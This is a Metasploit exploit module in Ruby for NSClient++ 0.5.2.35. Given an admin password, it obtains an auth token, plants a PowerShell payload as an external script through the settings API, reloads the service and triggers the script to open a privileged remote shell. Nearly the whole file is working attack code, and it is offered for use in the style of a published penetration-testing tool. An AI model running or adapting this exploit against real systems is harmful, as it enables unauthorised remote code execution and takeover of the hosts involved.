216 lines
6.3 KiB
Ruby
216 lines
6.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include ::Msf::Exploit::Remote::HttpClient
|
|
include ::Msf::Exploit::CmdStager
|
|
include ::Msf::Exploit::Powershell
|
|
prepend ::Msf::Exploit::Remote::AutoCheck
|
|
include ::Rex::Text
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'NSClient++ 0.5.2.35 - ExternalScripts Authenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This module allows an attacker with knowledge of the admin password of NSClient++
|
|
to start a privilege shell.
|
|
For this module to work, both web interface of NSClient++ and `ExternalScripts` feature
|
|
should be enabled.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'kindredsec', # POC on www.exploit-db.com
|
|
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
|
|
],
|
|
'References' => [
|
|
['EDB', '48360']
|
|
],
|
|
'Platform' => %w[windows],
|
|
'Arch' => [ARCH_X64],
|
|
'Targets' => [
|
|
[
|
|
'Windows',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :windows_powershell
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2020-10-20',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
},
|
|
'DefaultOptions' => { 'SSL' => true }
|
|
)
|
|
)
|
|
|
|
register_options [
|
|
Opt::RPORT(8443),
|
|
OptString.new('PASSWORD', [true, 'Password to authenticate with on NSClient web interface', nil])
|
|
]
|
|
end
|
|
|
|
def configure_payload(token, cmd, key)
|
|
print_status('Configuring Script with Specified Payload . . .')
|
|
|
|
plugin_id = rand(1..10000).to_s
|
|
|
|
node = {
|
|
'path' => '/settings/external scripts/scripts',
|
|
'key' => key
|
|
}
|
|
value = { 'string_data' => cmd }
|
|
update = { 'node' => node, 'value' => value }
|
|
payload = [
|
|
{
|
|
'plugin_id' => plugin_id,
|
|
'update' => update
|
|
}
|
|
]
|
|
json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }
|
|
|
|
r = send_request_cgi({
|
|
'method' => 'POST',
|
|
'data' => JSON.generate(json_data),
|
|
'headers' => { 'TOKEN' => token },
|
|
'uri' => normalize_uri('/settings/query.json')
|
|
})
|
|
|
|
if !(r&.body.to_s.include? 'STATUS_OK')
|
|
print_error('Error configuring payload. Hit error at: ' + endpoint)
|
|
end
|
|
|
|
print_status('Added External Script (name: ' + key + ')')
|
|
sleep(3)
|
|
print_status('Saving Configuration . . .')
|
|
header = { 'version' => '1' }
|
|
payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
|
|
json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'data' => JSON.generate(json_data),
|
|
'headers' => { 'TOKEN' => token },
|
|
'uri' => normalize_uri('/settings/query.json')
|
|
})
|
|
end
|
|
|
|
def reload_config(token)
|
|
print_status('Reloading Application . . .')
|
|
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'headers' => { 'TOKEN' => token },
|
|
'uri' => normalize_uri('/core/reload')
|
|
})
|
|
|
|
print_status('Waiting for Application to reload . . .')
|
|
sleep(10)
|
|
response = false
|
|
count = 0
|
|
until response
|
|
begin
|
|
sleep(2)
|
|
r = send_request_cgi({
|
|
'method' => 'GET',
|
|
'headers' => { 'TOKEN' => token },
|
|
'uri' => normalize_uri('/')
|
|
})
|
|
if !r.body.empty?
|
|
response = true
|
|
end
|
|
rescue StandardError
|
|
count += 1
|
|
if count > 10
|
|
fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def trigger_payload(token, key)
|
|
print_status('Triggering payload, should execute shortly . . .')
|
|
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'headers' => { 'TOKEN' => token },
|
|
'uri' => normalize_uri("/query/#{key}")
|
|
})
|
|
rescue StandardError => e
|
|
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
|
|
end
|
|
|
|
def external_scripts_feature_enabled?(token)
|
|
r = send_request_cgi({
|
|
'method' => 'GET',
|
|
'headers' => { 'TOKEN' => token },
|
|
'uri' => normalize_uri('/registry/control/module/load'),
|
|
'vars_get' => { 'name' => 'CheckExternalScripts' }
|
|
})
|
|
|
|
r&.body.to_s.include? 'STATUS_OK'
|
|
end
|
|
|
|
def get_auth_token
|
|
r = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri('/auth/token?password=' + datastore['PASSWORD'])
|
|
})
|
|
|
|
if r.code == 200
|
|
begin
|
|
auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]
|
|
return auth_token
|
|
rescue StandardError
|
|
:no_token_found
|
|
end
|
|
else
|
|
:wrong_password
|
|
end
|
|
rescue StandardError
|
|
:failed_to_connect
|
|
end
|
|
|
|
def check
|
|
token = get_auth_token
|
|
|
|
if token == :failed_to_connect
|
|
CheckCode::Safe("Can't access to NSClient web interface, maybe the web interface is not activated or something is wrong with the targeted host")
|
|
elsif token == :wrong_password
|
|
CheckCode::Unknown('Unable to connect to NSClient web interface because the admin password given is wrong')
|
|
elsif token == :no_token_found
|
|
CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
|
|
else
|
|
print_good('Got auth token: ' + token)
|
|
if external_scripts_feature_enabled?(token)
|
|
CheckCode::Vulnerable('External scripts feature enabled !')
|
|
else
|
|
CheckCode::Safe('External scripts feature disabled !')
|
|
end
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
|
|
token = get_auth_token
|
|
|
|
if token != :failed_to_connect && token != :wrong_password && token != :no_token_found
|
|
rand_key = rand_text_alpha_lower(10)
|
|
configure_payload(token, cmd, rand_key)
|
|
reload_config(token)
|
|
token = get_auth_token # reloading the app might imply the need to create a new auth token as the former could have been deleted
|
|
trigger_payload(token, rand_key)
|
|
end
|
|
end
|
|
end
|